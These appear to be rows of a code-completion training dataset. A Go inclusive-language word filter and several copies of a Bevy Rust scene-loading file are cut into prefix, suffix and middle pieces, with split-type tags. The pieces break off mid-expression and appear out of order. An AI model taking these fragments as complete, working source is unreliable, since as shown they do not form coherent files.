{Filter: "discapacitad(a|o) fisic(a|o)", Reply: "Ante todo somos personas, y no queremos que se nos etiquete, puesto que la discapacidad es una característica más de todas las que se tiene, no lo único por lo que se debe reconocer.\nPor eso es importante anteponer la palabra *persona* y lo más aconsejable es utilizar el término *persona con discapacidad* y no *discapacitada física*.\nMás info en https://www.cocemfe.es/wp-content/uploads/2019/02/20181010_COCEMFE_Lenguaje_inclusivo.pdf"},
{Filter: "minusvalid(a|o)", Reply: "*Minusválido* es un término peyorativo y vulnera la dignidad de las personas con discapacidad, al atribuirse un nulo o reducido valor a una persona, o utilizarse generalmente con elevada carga negativa. Considera usar *persona con discapacidad*.\nMás info en Más info en https://www.cocemfe.es/wp-content/uploads/2019/02/20181010_COCEMFE_Lenguaje_inclusivo.pdf"},
{Filter: "diversidad funcional", Reply: "COCEMFE considera que el término *diversidad funcional* es un eufemismo, cargado de condescendencia que genera confusión, inseguridad jurídica y rebaja la protección que todavía es necesaria. El término *discapacidad* es el que aglutina derechos reconocidos legalmente y que cuenta con el mayor respaldo social. Considera usarlo.\nMás info en Más info en https://www.cocemfe.es/wp-content/uploads/2019/02/20181010_COCEMFE_Lenguaje_inclusivo.pdf"},
{Filter: "retrasad(a|o)", Reply: "*Retrasado* y *Retraso mental* son términos despectivos eliminados del vocabulario psiquiátrico y, según la OMS, la forma correcta para referiste a ese grupo de enfermedades y transtornos es *Trastorno del desarrollo intelectual* "},
{Filter: "retraso mental", Reply: "*Retrasado* y *Retraso mental* son términos despectivos eliminados del vocabulario psiquiátrico y, según la OMS, la forma correcta para referiste a ese grupo de enfermedades y transtornos es *Trastorno del desarrollo intelectual* "},
// Our own list
{Filter: "gentlem(a|e)n", Reply: "Instead of *gentlem(a|e)n*, perhaps you mean *folks*?... *[Please consider editing your message so it's more inclusive]*"},
{Filter: "lad(y|ies)", Reply: "Instead of *lad(y|ies)*, perhaps you mean *folks*?... *[Please consider editing your message so it's more inclusive]*"},
{Filter: "los chicos de", Reply: "En vez de *los chicos de*, quizá quisiste decir *el equipo de*, *los integrantes de*? Para más información (en inglés), puedes consultar https://www.dictionary.com/e/you-guys/... *[Considera editar tu mensaje para que sea más inclusivo]*"},
{Filter: "chicos", Reply: "En vez de *chicos*, quizá quisiste decir *chiques*, *colegas*, *grupo*, *personas*? Para más información (en inglés), puedes consultar https://www.dictionary.com/e/you-guys/... *[Considera editar tu mensaje para que sea más inclusivo]*"},
{Filter: "lgtb", Reply: "Desde hace un tiempo, el colectivo *LGTB+* recomienda añadir el carácter `+` a la palabra *LGTB*, pues existen orientaciones e identidades que, a pesar de no ser tan predominantes, representan a muchas personas. *[Considera editar tu mensaje para que sea más inclusivo]*"},
{Filter: "locura", Reply: "La palabra *locura* es considerada por algunas personas como irrespetuosa hacia las personas que sufren alguna enfermedad mental.\nQuizá quisiste decir *indignante*, *impensable*, *absurdo*, *incomprensible*? Has considerado usar un adjetivo diferente como *ridículo*?"},
{Filter: "locuron", Reply: "La palabra *locurón* o *locura* es considerada por algunas personas como irrespetuosa hacia las personas que sufren alguna enfermedad mental.\nQuizá quisiste decir *indignante*, *impensable*, *absurdo*, *incomprensible*? Has considerado usar un adjetivo diferente como *ridículo*?"},
{Filter: "loc(a|o)", Reply: "La palabra *loco/loca* es considerada por algunas personas como irrespetuosa hacia las personas que sufren alguna enfermedad mental.\nQuizá quisiste decir *indignante*, *impensable*, *absurdo*, *incomprensible*? Has considerado usar un adjetivo diferente como *ridículo*?"},
{Filter: "cakewalk", Reply: "Instead of *cakewalk*, perhaps you mean *easy*?... *[Please consider editing your message so it's more inclusive]*"},
{Filter: "grandfathered in", Reply: "Instead of *grandfathered in*, perhaps you mean *exempting*? You can read more information in https://www.selfdefined.app/definitions/grandfathering/ ... *[Please consider editing your message so it's more inclusive]*"},
{Filter: "grandfathering", Reply: "Instead of *grandfathering*, perhaps you mean *exempting*? You can read more information in https://www.selfdefined.app/definitions/grandfathering/ ... *[Please consider editing your message so it's more inclusive]*"},
{Filter: "whitelist", Reply: "Instead of *whitelist*, perhaps you mean *allowlist*? You can read more information in https://www.linkedin.com/pulse/allowlist-blocklist-better-terms-everyone-lets-use-them-rob-black/ ... *[Please consider editing your message so it's more inclusive]*"},
{Filter: "blacklist", Reply: "Instead of *blacklist*, perhaps you mean *blocklist*? You can read more information in https://www.linkedin.com/pulse/allowlist-blocklist-better-terms-everyone-lets-use-them-rob-black/ ... *[Please consider editing your message so it's more inclusive]*"},
}
type FilteredText struct {
StopWord string
Reply string
}
func Filter(input string, extraFilters ...InclusiveFilter) | usiveFilter {
// Removing accents and others before matching
t := transform.Chain(norm.NFD, runes.Remove(runes.In(unicode.Mn)), norm.NFC)
text, _, _ := transform.String(t, strings.ToLower(input))
filters := append(inclusiveFilters, extraFilters...)
for _, word := range filters {
if word.regex == nil {
// If it's just one word, ensure its bounded as it should.
if !strings.Contains(word.Filter, " ") {
word.Filter = fmt.Sprintf("(?:^|\\W)%s(?:$|[^\\w+])", word.Filter)
}
word.regex, _ = regexp.Compile(word.Filter)
}
if word.regex.MatchString(text) {
word.Reply += conductLinks
return &word
}
}
return nil
}
| *Incl | identifier_name |
dynamic_scene.rs | use std::any::TypeId;
use crate::{DynamicSceneBuilder, Scene, SceneSpawnError};
use anyhow::Result;
use bevy_ecs::{
entity::Entity,
reflect::{AppTypeRegistry, ReflectComponent, ReflectMapEntities},
world::World,
};
use bevy_reflect::{Reflect, TypePath, TypeRegistryArc, TypeUuid};
use bevy_utils::HashMap;
#[cfg(feature = "serialize")]
use crate::serde::SceneSerializer;
use bevy_ecs::reflect::ReflectResource;
#[cfg(feature = "serialize")]
use serde::Serialize;
/// A collection of serializable resources and dynamic entities.
///
/// Each dynamic entity in the collection contains its own run-time defined set of components.
/// To spawn a dynamic scene, you can use either:
/// * [`SceneSpawner::spawn_dynamic`](crate::SceneSpawner::spawn_dynamic)
/// * adding the [`DynamicSceneBundle`](crate::DynamicSceneBundle) to an entity
/// * adding the [`Handle<DynamicScene>`](bevy_asset::Handle) to an entity (the scene will only be
/// visible if the entity already has [`Transform`](bevy_transform::components::Transform) and
/// [`GlobalTransform`](bevy_transform::components::GlobalTransform) components)
#[derive(Default, TypeUuid, TypePath)]
#[uuid = "749479b1-fb8c-4ff8-a775-623aa76014f5"]
pub struct DynamicScene {
pub resources: Vec<Box<dyn Reflect>>,
pub entities: Vec<DynamicEntity>,
}
/// A reflection-powered serializable representation of an entity and its components.
pub struct DynamicEntity {
/// The identifier of the entity, unique within a scene (and the world it may have been generated from).
///
/// Components that reference this entity must consistently use this identifier.
pub entity: Entity,
/// A vector of boxed components that belong to the given entity and
/// implement the [`Reflect`] trait.
pub components: Vec<Box<dyn Reflect>>,
}
impl DynamicScene {
/// Create a new dynamic scene from a given scene.
pub fn from_scene(scene: &Scene) -> Self {
Self::from_world(&scene.world)
}
/// Create a new dynamic scene from a given world.
pub fn from_world(world: &World) -> Self {
let mut builder = DynamicSceneBuilder::from_world(world);
builder.extract_entities(world.iter_entities().map(|entity| entity.id()));
builder.extract_resources();
builder.build()
}
/// Write the resources, the dynamic entities, and their corresponding components to the given world.
///
/// This method will return a [`SceneSpawnError`] if a type either is not registered
/// in the provided [`AppTypeRegistry`] resource, or doesn't reflect the
/// [`Component`](bevy_ecs::component::Component) or [`Resource`](bevy_ecs::prelude::Resource) trait.
pub fn write_to_world_with(
&self,
world: &mut World,
entity_map: &mut HashMap<Entity, Entity>,
type_registry: &AppTypeRegistry,
) -> Result<(), SceneSpawnError> {
let type_registry = type_registry.read();
for resource in &self.resources {
let registration = type_registry
.get_with_name(resource.type_name())
.ok_or_else(|| SceneSpawnError::UnregisteredType {
type_name: resource.type_name().to_string(),
})?;
let reflect_resource = registration.data::<ReflectResource>().ok_or_else(|| {
SceneSpawnError::UnregisteredResource {
type_name: resource.type_name().to_string(),
}
})?;
// If the world already contains an instance of the given resource
// just apply the (possibly) new value, otherwise insert the resource
reflect_resource.apply_or_insert(world, &**resource);
}
// For each component types that reference other entities, we keep track
// of which entities in the scene use that component.
// This is so we can update the scene-internal references to references
// of the actual entities in the world.
let mut scene_mappings: HashMap<TypeId, Vec<Entity>> = HashMap::default();
for scene_entity in &self.entities {
// Fetch the entity with the given entity id from the `entity_map`
// or spawn a new entity with a transiently unique id if there is
// no corresponding entry.
let entity = *entity_map
.entry(scene_entity.entity)
.or_insert_with(|| world.spawn_empty().id());
let entity_mut = &mut world.entity_mut(entity);
// Apply/ add each component to the given entity.
for component in &scene_entity.components {
let registration = type_registry
.get_with_name(component.type_name())
.ok_or_else(|| SceneSpawnError::UnregisteredType {
type_name: component.type_name().to_string(),
})?;
let reflect_component =
registration.data::<ReflectComponent>().ok_or_else(|| {
SceneSpawnError::UnregisteredComponent {
type_name: component.type_name().to_string(),
}
})?;
// If this component references entities in the scene, track it
// so we can update it to the entity in the world.
if registration.data::<ReflectMapEntities>().is_some() {
scene_mappings
.entry(registration.type_id())
.or_insert(Vec::new())
.push(entity);
}
// If the entity already has the given component attached,
// just apply the (possibly) new value, otherwise add the
// component to the entity.
reflect_component.apply_or_insert(entity_mut, &**component);
}
}
// Updates references to entities in the scene to entities in the world
for (type_id, entities) in scene_mappings.into_iter() {
let registration = type_registry.get(type_id).expect(
"we should be getting TypeId from this TypeRegistration in the first place",
);
if let Some(map_entities_reflect) = registration.data::<ReflectMapEntities>() {
map_entities_reflect.map_entities(world, entity_map, &entities);
}
}
Ok(())
}
/// Write the resources, the dynamic entities, and their corresponding components to the given world.
///
/// This method will return a [`SceneSpawnError`] if a type either is not registered
/// in the world's [`AppTypeRegistry`] resource, or doesn't reflect the
/// [`Component`](bevy_ecs::component::Component) trait.
pub fn write_to_world(
&self,
world: &mut World,
entity_map: &mut HashMap<Entity, Entity>,
) -> Result<(), SceneSpawnError> {
let registry = world.resource::<AppTypeRegistry>().clone();
self.write_to_world_with(world, entity_map, ®istry)
}
// TODO: move to AssetSaver when it is implemented
/// Serialize this dynamic scene into rust object notation (ron).
#[cfg(feature = "serialize")]
pub fn serialize_ron(&self, registry: &TypeRegistryArc) -> Result<String, ron::Error> {
serialize_ron(SceneSerializer::new(self, registry))
}
}
/// Serialize a given Rust data structure into rust object notation (ron).
#[cfg(feature = "serialize")]
pub fn serialize_ron<S>(serialize: S) -> Result<String, ron::Error>
where
S: Serialize,
{
let pretty_config = ron::ser::PrettyConfig::default()
.indentor(" ".to_string())
.new_line("\n".to_string());
ron::ser::to_string_pretty(&serialize, pretty_config)
}
#[cfg(test)]
mod tests {
use bevy_ecs::{reflect::AppTypeRegistry, system::Command, world::World}; | use crate::dynamic_scene_builder::DynamicSceneBuilder;
#[test]
fn components_not_defined_in_scene_should_not_be_affected_by_scene_entity_map() {
// Testing that scene reloading applies EntityMap correctly to MapEntities components.
// First, we create a simple world with a parent and a child relationship
let mut world = World::new();
world.init_resource::<AppTypeRegistry>();
world
.resource_mut::<AppTypeRegistry>()
.write()
.register::<Parent>();
let original_parent_entity = world.spawn_empty().id();
let original_child_entity = world.spawn_empty().id();
AddChild {
parent: original_parent_entity,
child: original_child_entity,
}
.apply(&mut world);
// We then write this relationship to a new scene, and then write that scene back to the
// world to create another parent and child relationship
let mut scene_builder = DynamicSceneBuilder::from_world(&world);
scene_builder.extract_entity(original_parent_entity);
scene_builder.extract_entity(original_child_entity);
let scene = scene_builder.build();
let mut entity_map = HashMap::default();
scene.write_to_world(&mut world, &mut entity_map).unwrap();
let &from_scene_parent_entity = entity_map.get(&original_parent_entity).unwrap();
let &from_scene_child_entity = entity_map.get(&original_child_entity).unwrap();
// We then add the parent from the scene as a child of the original child
// Hierarchy should look like:
// Original Parent <- Original Child <- Scene Parent <- Scene Child
AddChild {
parent: original_child_entity,
child: from_scene_parent_entity,
}
.apply(&mut world);
// We then reload the scene to make sure that from_scene_parent_entity's parent component
// isn't updated with the entity map, since this component isn't defined in the scene.
// With bevy_hierarchy, this can cause serious errors and malformed hierarchies.
scene.write_to_world(&mut world, &mut entity_map).unwrap();
assert_eq!(
original_parent_entity,
world
.get_entity(original_child_entity)
.unwrap()
.get::<Parent>()
.unwrap()
.get(),
"something about reloading the scene is touching entities with the same scene Ids"
);
assert_eq!(
original_child_entity,
world
.get_entity(from_scene_parent_entity)
.unwrap()
.get::<Parent>()
.unwrap()
.get(),
"something about reloading the scene is touching components not defined in the scene but on entities defined in the scene"
);
assert_eq!(
from_scene_parent_entity,
world
.get_entity(from_scene_child_entity)
.unwrap()
.get::<Parent>()
.expect("something is wrong with this test, and the scene components don't have a parent/child relationship")
.get(),
"something is wrong with the this test or the code reloading scenes since the relationship between scene entities is broken"
);
}
} | use bevy_hierarchy::{AddChild, Parent};
use bevy_utils::HashMap;
| random_line_split |
dynamic_scene.rs | use std::any::TypeId;
use crate::{DynamicSceneBuilder, Scene, SceneSpawnError};
use anyhow::Result;
use bevy_ecs::{
entity::Entity,
reflect::{AppTypeRegistry, ReflectComponent, ReflectMapEntities},
world::World,
};
use bevy_reflect::{Reflect, TypePath, TypeRegistryArc, TypeUuid};
use bevy_utils::HashMap;
#[cfg(feature = "serialize")]
use crate::serde::SceneSerializer;
use bevy_ecs::reflect::ReflectResource;
#[cfg(feature = "serialize")]
use serde::Serialize;
/// A collection of serializable resources and dynamic entities.
///
/// Each dynamic entity in the collection contains its own run-time defined set of components.
/// To spawn a dynamic scene, you can use either:
/// * [`SceneSpawner::spawn_dynamic`](crate::SceneSpawner::spawn_dynamic)
/// * adding the [`DynamicSceneBundle`](crate::DynamicSceneBundle) to an entity
/// * adding the [`Handle<DynamicScene>`](bevy_asset::Handle) to an entity (the scene will only be
/// visible if the entity already has [`Transform`](bevy_transform::components::Transform) and
/// [`GlobalTransform`](bevy_transform::components::GlobalTransform) components)
#[derive(Default, TypeUuid, TypePath)]
#[uuid = "749479b1-fb8c-4ff8-a775-623aa76014f5"]
pub struct DynamicScene {
pub resources: Vec<Box<dyn Reflect>>,
pub entities: Vec<DynamicEntity>,
}
/// A reflection-powered serializable representation of an entity and its components.
pub struct DynamicEntity {
/// The identifier of the entity, unique within a scene (and the world it may have been generated from).
///
/// Components that reference this entity must consistently use this identifier.
pub entity: Entity,
/// A vector of boxed components that belong to the given entity and
/// implement the [`Reflect`] trait.
pub components: Vec<Box<dyn Reflect>>,
}
impl DynamicScene {
/// Create a new dynamic scene from a given scene.
pub fn from_scene(scene: &Scene) -> Self {
Self::from_world(&scene.world)
}
/// Create a new dynamic scene from a given world.
pub fn from_world(world: &World) -> Self {
let mut builder = DynamicSceneBuilder::from_world(world);
builder.extract_entities(world.iter_entities().map(|entity| entity.id()));
builder.extract_resources();
builder.build()
}
/// Write the resources, the dynamic entities, and their corresponding components to the given world.
///
/// This method will return a [`SceneSpawnError`] if a type either is not registered
/// in the provided [`AppTypeRegistry`] resource, or doesn't reflect the
/// [`Component`](bevy_ecs::component::Component) or [`Resource`](bevy_ecs::prelude::Resource) trait.
pub fn write_to_world_with(
&self,
world: &mut World,
entity_map: &mut HashMap<Entity, Entity>,
type_registry: &AppTypeRegistry,
) -> Result<(), SceneSpawnError> {
let type_registry = type_registry.read();
for resource in &self.resources {
let registration = type_registry
.get_with_name(resource.type_name())
.ok_or_else(|| SceneSpawnError::UnregisteredType {
type_name: resource.type_name().to_string(),
})?;
let reflect_resource = registration.data::<ReflectResource>().ok_or_else(|| {
SceneSpawnError::UnregisteredResource {
type_name: resource.type_name().to_string(),
}
})?;
// If the world already contains an instance of the given resource
// just apply the (possibly) new value, otherwise insert the resource
reflect_resource.apply_or_insert(world, &**resource);
}
// For each component types that reference other entities, we keep track
// of which entities in the scene use that component.
// This is so we can update the scene-internal references to references
// of the actual entities in the world.
let mut scene_mappings: HashMap<TypeId, Vec<Entity>> = HashMap::default();
for scene_entity in &self.entities {
// Fetch the entity with the given entity id from the `entity_map`
// or spawn a new entity with a transiently unique id if there is
// no corresponding entry.
let entity = *entity_map
.entry(scene_entity.entity)
.or_insert_with(|| world.spawn_empty().id());
let entity_mut = &mut world.entity_mut(entity);
// Apply/ add each component to the given entity.
for component in &scene_entity.components {
let registration = type_registry
.get_with_name(component.type_name())
.ok_or_else(|| SceneSpawnError::UnregisteredType {
type_name: component.type_name().to_string(),
})?;
let reflect_component =
registration.data::<ReflectComponent>().ok_or_else(|| {
SceneSpawnError::UnregisteredComponent {
type_name: component.type_name().to_string(),
}
})?;
// If this component references entities in the scene, track it
// so we can update it to the entity in the world.
if registration.data::<ReflectMapEntities>().is_some() {
scene_mappings
.entry(registration.type_id())
.or_insert(Vec::new())
.push(entity);
}
// If the entity already has the given component attached,
// just apply the (possibly) new value, otherwise add the
// component to the entity.
reflect_component.apply_or_insert(entity_mut, &**component);
}
}
// Updates references to entities in the scene to entities in the world
for (type_id, entities) in scene_mappings.into_iter() {
let registration = type_registry.get(type_id).expect(
"we should be getting TypeId from this TypeRegistration in the first place",
);
if let Some(map_entities_reflect) = registration.data::<ReflectMapEntities>() |
}
Ok(())
}
/// Write the resources, the dynamic entities, and their corresponding components to the given world.
///
/// This method will return a [`SceneSpawnError`] if a type either is not registered
/// in the world's [`AppTypeRegistry`] resource, or doesn't reflect the
/// [`Component`](bevy_ecs::component::Component) trait.
pub fn write_to_world(
&self,
world: &mut World,
entity_map: &mut HashMap<Entity, Entity>,
) -> Result<(), SceneSpawnError> {
let registry = world.resource::<AppTypeRegistry>().clone();
self.write_to_world_with(world, entity_map, ®istry)
}
// TODO: move to AssetSaver when it is implemented
/// Serialize this dynamic scene into rust object notation (ron).
#[cfg(feature = "serialize")]
pub fn serialize_ron(&self, registry: &TypeRegistryArc) -> Result<String, ron::Error> {
serialize_ron(SceneSerializer::new(self, registry))
}
}
/// Serialize a given Rust data structure into rust object notation (ron).
#[cfg(feature = "serialize")]
pub fn serialize_ron<S>(serialize: S) -> Result<String, ron::Error>
where
S: Serialize,
{
let pretty_config = ron::ser::PrettyConfig::default()
.indentor(" ".to_string())
.new_line("\n".to_string());
ron::ser::to_string_pretty(&serialize, pretty_config)
}
#[cfg(test)]
mod tests {
use bevy_ecs::{reflect::AppTypeRegistry, system::Command, world::World};
use bevy_hierarchy::{AddChild, Parent};
use bevy_utils::HashMap;
use crate::dynamic_scene_builder::DynamicSceneBuilder;
#[test]
fn components_not_defined_in_scene_should_not_be_affected_by_scene_entity_map() {
// Testing that scene reloading applies EntityMap correctly to MapEntities components.
// First, we create a simple world with a parent and a child relationship
let mut world = World::new();
world.init_resource::<AppTypeRegistry>();
world
.resource_mut::<AppTypeRegistry>()
.write()
.register::<Parent>();
let original_parent_entity = world.spawn_empty().id();
let original_child_entity = world.spawn_empty().id();
AddChild {
parent: original_parent_entity,
child: original_child_entity,
}
.apply(&mut world);
// We then write this relationship to a new scene, and then write that scene back to the
// world to create another parent and child relationship
let mut scene_builder = DynamicSceneBuilder::from_world(&world);
scene_builder.extract_entity(original_parent_entity);
scene_builder.extract_entity(original_child_entity);
let scene = scene_builder.build();
let mut entity_map = HashMap::default();
scene.write_to_world(&mut world, &mut entity_map).unwrap();
let &from_scene_parent_entity = entity_map.get(&original_parent_entity).unwrap();
let &from_scene_child_entity = entity_map.get(&original_child_entity).unwrap();
// We then add the parent from the scene as a child of the original child
// Hierarchy should look like:
// Original Parent <- Original Child <- Scene Parent <- Scene Child
AddChild {
parent: original_child_entity,
child: from_scene_parent_entity,
}
.apply(&mut world);
// We then reload the scene to make sure that from_scene_parent_entity's parent component
// isn't updated with the entity map, since this component isn't defined in the scene.
// With bevy_hierarchy, this can cause serious errors and malformed hierarchies.
scene.write_to_world(&mut world, &mut entity_map).unwrap();
assert_eq!(
original_parent_entity,
world
.get_entity(original_child_entity)
.unwrap()
.get::<Parent>()
.unwrap()
.get(),
"something about reloading the scene is touching entities with the same scene Ids"
);
assert_eq!(
original_child_entity,
world
.get_entity(from_scene_parent_entity)
.unwrap()
.get::<Parent>()
.unwrap()
.get(),
"something about reloading the scene is touching components not defined in the scene but on entities defined in the scene"
);
assert_eq!(
from_scene_parent_entity,
world
.get_entity(from_scene_child_entity)
.unwrap()
.get::<Parent>()
.expect("something is wrong with this test, and the scene components don't have a parent/child relationship")
.get(),
"something is wrong with the this test or the code reloading scenes since the relationship between scene entities is broken"
);
}
}
| {
map_entities_reflect.map_entities(world, entity_map, &entities);
} | conditional_block |
dynamic_scene.rs | use std::any::TypeId;
use crate::{DynamicSceneBuilder, Scene, SceneSpawnError};
use anyhow::Result;
use bevy_ecs::{
entity::Entity,
reflect::{AppTypeRegistry, ReflectComponent, ReflectMapEntities},
world::World,
};
use bevy_reflect::{Reflect, TypePath, TypeRegistryArc, TypeUuid};
use bevy_utils::HashMap;
#[cfg(feature = "serialize")]
use crate::serde::SceneSerializer;
use bevy_ecs::reflect::ReflectResource;
#[cfg(feature = "serialize")]
use serde::Serialize;
/// A collection of serializable resources and dynamic entities.
///
/// Each dynamic entity in the collection contains its own run-time defined set of components.
/// To spawn a dynamic scene, you can use either:
/// * [`SceneSpawner::spawn_dynamic`](crate::SceneSpawner::spawn_dynamic)
/// * adding the [`DynamicSceneBundle`](crate::DynamicSceneBundle) to an entity
/// * adding the [`Handle<DynamicScene>`](bevy_asset::Handle) to an entity (the scene will only be
/// visible if the entity already has [`Transform`](bevy_transform::components::Transform) and
/// [`GlobalTransform`](bevy_transform::components::GlobalTransform) components)
#[derive(Default, TypeUuid, TypePath)]
#[uuid = "749479b1-fb8c-4ff8-a775-623aa76014f5"]
pub struct DynamicScene {
pub resources: Vec<Box<dyn Reflect>>,
pub entities: Vec<DynamicEntity>,
}
/// A reflection-powered serializable representation of an entity and its components.
pub struct DynamicEntity {
/// The identifier of the entity, unique within a scene (and the world it may have been generated from).
///
/// Components that reference this entity must consistently use this identifier.
pub entity: Entity,
/// A vector of boxed components that belong to the given entity and
/// implement the [`Reflect`] trait.
pub components: Vec<Box<dyn Reflect>>,
}
impl DynamicScene {
/// Create a new dynamic scene from a given scene.
pub fn from_scene(scene: &Scene) -> Self {
Self::from_world(&scene.world)
}
/// Create a new dynamic scene from a given world.
pub fn from_world(world: &World) -> Self {
let mut builder = DynamicSceneBuilder::from_world(world);
builder.extract_entities(world.iter_entities().map(|entity| entity.id()));
builder.extract_resources();
builder.build()
}
/// Write the resources, the dynamic entities, and their corresponding components to the given world.
///
/// This method will return a [`SceneSpawnError`] if a type either is not registered
/// in the provided [`AppTypeRegistry`] resource, or doesn't reflect the
/// [`Component`](bevy_ecs::component::Component) or [`Resource`](bevy_ecs::prelude::Resource) trait.
pub fn write_to_world_with(
&self,
world: &mut World,
entity_map: &mut HashMap<Entity, Entity>,
type_registry: &AppTypeRegistry,
) -> Result<(), SceneSpawnError> {
let type_registry = type_registry.read();
for resource in &self.resources {
let registration = type_registry
.get_with_name(resource.type_name())
.ok_or_else(|| SceneSpawnError::UnregisteredType {
type_name: resource.type_name().to_string(),
})?;
let reflect_resource = registration.data::<ReflectResource>().ok_or_else(|| {
SceneSpawnError::UnregisteredResource {
type_name: resource.type_name().to_string(),
}
})?;
// If the world already contains an instance of the given resource
// just apply the (possibly) new value, otherwise insert the resource
reflect_resource.apply_or_insert(world, &**resource);
}
// For each component types that reference other entities, we keep track
// of which entities in the scene use that component.
// This is so we can update the scene-internal references to references
// of the actual entities in the world.
let mut scene_mappings: HashMap<TypeId, Vec<Entity>> = HashMap::default();
for scene_entity in &self.entities {
// Fetch the entity with the given entity id from the `entity_map`
// or spawn a new entity with a transiently unique id if there is
// no corresponding entry.
let entity = *entity_map
.entry(scene_entity.entity)
.or_insert_with(|| world.spawn_empty().id());
let entity_mut = &mut world.entity_mut(entity);
// Apply/ add each component to the given entity.
for component in &scene_entity.components {
let registration = type_registry
.get_with_name(component.type_name())
.ok_or_else(|| SceneSpawnError::UnregisteredType {
type_name: component.type_name().to_string(),
})?;
let reflect_component =
registration.data::<ReflectComponent>().ok_or_else(|| {
SceneSpawnError::UnregisteredComponent {
type_name: component.type_name().to_string(),
}
})?;
// If this component references entities in the scene, track it
// so we can update it to the entity in the world.
if registration.data::<ReflectMapEntities>().is_some() {
scene_mappings
.entry(registration.type_id())
.or_insert(Vec::new())
.push(entity);
}
// If the entity already has the given component attached,
// just apply the (possibly) new value, otherwise add the
// component to the entity.
reflect_component.apply_or_insert(entity_mut, &**component);
}
}
// Updates references to entities in the scene to entities in the world
for (type_id, entities) in scene_mappings.into_iter() {
let registration = type_registry.get(type_id).expect(
"we should be getting TypeId from this TypeRegistration in the first place",
);
if let Some(map_entities_reflect) = registration.data::<ReflectMapEntities>() {
map_entities_reflect.map_entities(world, entity_map, &entities);
}
}
Ok(())
}
/// Write the resources, the dynamic entities, and their corresponding components to the given world.
///
/// This method will return a [`SceneSpawnError`] if a type either is not registered
/// in the world's [`AppTypeRegistry`] resource, or doesn't reflect the
/// [`Component`](bevy_ecs::component::Component) trait.
pub fn write_to_world(
&self,
world: &mut World,
entity_map: &mut HashMap<Entity, Entity>,
) -> Result<(), SceneSpawnError> {
let registry = world.resource::<AppTypeRegistry>().clone();
self.write_to_world_with(world, entity_map, ®istry)
}
// TODO: move to AssetSaver when it is implemented
/// Serialize this dynamic scene into rust object notation (ron).
#[cfg(feature = "serialize")]
pub fn serialize_ron(&self, registry: &TypeRegistryArc) -> Result<String, ron::Error> {
serialize_ron(SceneSerializer::new(self, registry))
}
}
/// Serialize a given Rust data structure into rust object notation (ron).
#[cfg(feature = "serialize")]
pub fn serialize_ron<S>(serialize: S) -> Result<String, ron::Error>
where
S: Serialize,
|
#[cfg(test)]
mod tests {
use bevy_ecs::{reflect::AppTypeRegistry, system::Command, world::World};
use bevy_hierarchy::{AddChild, Parent};
use bevy_utils::HashMap;
use crate::dynamic_scene_builder::DynamicSceneBuilder;
#[test]
fn components_not_defined_in_scene_should_not_be_affected_by_scene_entity_map() {
// Testing that scene reloading applies EntityMap correctly to MapEntities components.
// First, we create a simple world with a parent and a child relationship
let mut world = World::new();
world.init_resource::<AppTypeRegistry>();
world
.resource_mut::<AppTypeRegistry>()
.write()
.register::<Parent>();
let original_parent_entity = world.spawn_empty().id();
let original_child_entity = world.spawn_empty().id();
AddChild {
parent: original_parent_entity,
child: original_child_entity,
}
.apply(&mut world);
// We then write this relationship to a new scene, and then write that scene back to the
// world to create another parent and child relationship
let mut scene_builder = DynamicSceneBuilder::from_world(&world);
scene_builder.extract_entity(original_parent_entity);
scene_builder.extract_entity(original_child_entity);
let scene = scene_builder.build();
let mut entity_map = HashMap::default();
scene.write_to_world(&mut world, &mut entity_map).unwrap();
let &from_scene_parent_entity = entity_map.get(&original_parent_entity).unwrap();
let &from_scene_child_entity = entity_map.get(&original_child_entity).unwrap();
// We then add the parent from the scene as a child of the original child
// Hierarchy should look like:
// Original Parent <- Original Child <- Scene Parent <- Scene Child
AddChild {
parent: original_child_entity,
child: from_scene_parent_entity,
}
.apply(&mut world);
// We then reload the scene to make sure that from_scene_parent_entity's parent component
// isn't updated with the entity map, since this component isn't defined in the scene.
// With bevy_hierarchy, this can cause serious errors and malformed hierarchies.
scene.write_to_world(&mut world, &mut entity_map).unwrap();
assert_eq!(
original_parent_entity,
world
.get_entity(original_child_entity)
.unwrap()
.get::<Parent>()
.unwrap()
.get(),
"something about reloading the scene is touching entities with the same scene Ids"
);
assert_eq!(
original_child_entity,
world
.get_entity(from_scene_parent_entity)
.unwrap()
.get::<Parent>()
.unwrap()
.get(),
"something about reloading the scene is touching components not defined in the scene but on entities defined in the scene"
);
assert_eq!(
from_scene_parent_entity,
world
.get_entity(from_scene_child_entity)
.unwrap()
.get::<Parent>()
.expect("something is wrong with this test, and the scene components don't have a parent/child relationship")
.get(),
"something is wrong with the this test or the code reloading scenes since the relationship between scene entities is broken"
);
}
}
| {
let pretty_config = ron::ser::PrettyConfig::default()
.indentor(" ".to_string())
.new_line("\n".to_string());
ron::ser::to_string_pretty(&serialize, pretty_config)
} | identifier_body |
dynamic_scene.rs | use std::any::TypeId;
use crate::{DynamicSceneBuilder, Scene, SceneSpawnError};
use anyhow::Result;
use bevy_ecs::{
entity::Entity,
reflect::{AppTypeRegistry, ReflectComponent, ReflectMapEntities},
world::World,
};
use bevy_reflect::{Reflect, TypePath, TypeRegistryArc, TypeUuid};
use bevy_utils::HashMap;
#[cfg(feature = "serialize")]
use crate::serde::SceneSerializer;
use bevy_ecs::reflect::ReflectResource;
#[cfg(feature = "serialize")]
use serde::Serialize;
/// A collection of serializable resources and dynamic entities.
///
/// Each dynamic entity in the collection contains its own run-time defined set of components.
/// To spawn a dynamic scene, you can use either:
/// * [`SceneSpawner::spawn_dynamic`](crate::SceneSpawner::spawn_dynamic)
/// * adding the [`DynamicSceneBundle`](crate::DynamicSceneBundle) to an entity
/// * adding the [`Handle<DynamicScene>`](bevy_asset::Handle) to an entity (the scene will only be
/// visible if the entity already has [`Transform`](bevy_transform::components::Transform) and
/// [`GlobalTransform`](bevy_transform::components::GlobalTransform) components)
#[derive(Default, TypeUuid, TypePath)]
#[uuid = "749479b1-fb8c-4ff8-a775-623aa76014f5"]
pub struct DynamicScene {
pub resources: Vec<Box<dyn Reflect>>,
pub entities: Vec<DynamicEntity>,
}
/// A reflection-powered serializable representation of an entity and its components.
pub struct | {
/// The identifier of the entity, unique within a scene (and the world it may have been generated from).
///
/// Components that reference this entity must consistently use this identifier.
pub entity: Entity,
/// A vector of boxed components that belong to the given entity and
/// implement the [`Reflect`] trait.
pub components: Vec<Box<dyn Reflect>>,
}
impl DynamicScene {
/// Create a new dynamic scene from a given scene.
pub fn from_scene(scene: &Scene) -> Self {
Self::from_world(&scene.world)
}
/// Create a new dynamic scene from a given world.
pub fn from_world(world: &World) -> Self {
let mut builder = DynamicSceneBuilder::from_world(world);
builder.extract_entities(world.iter_entities().map(|entity| entity.id()));
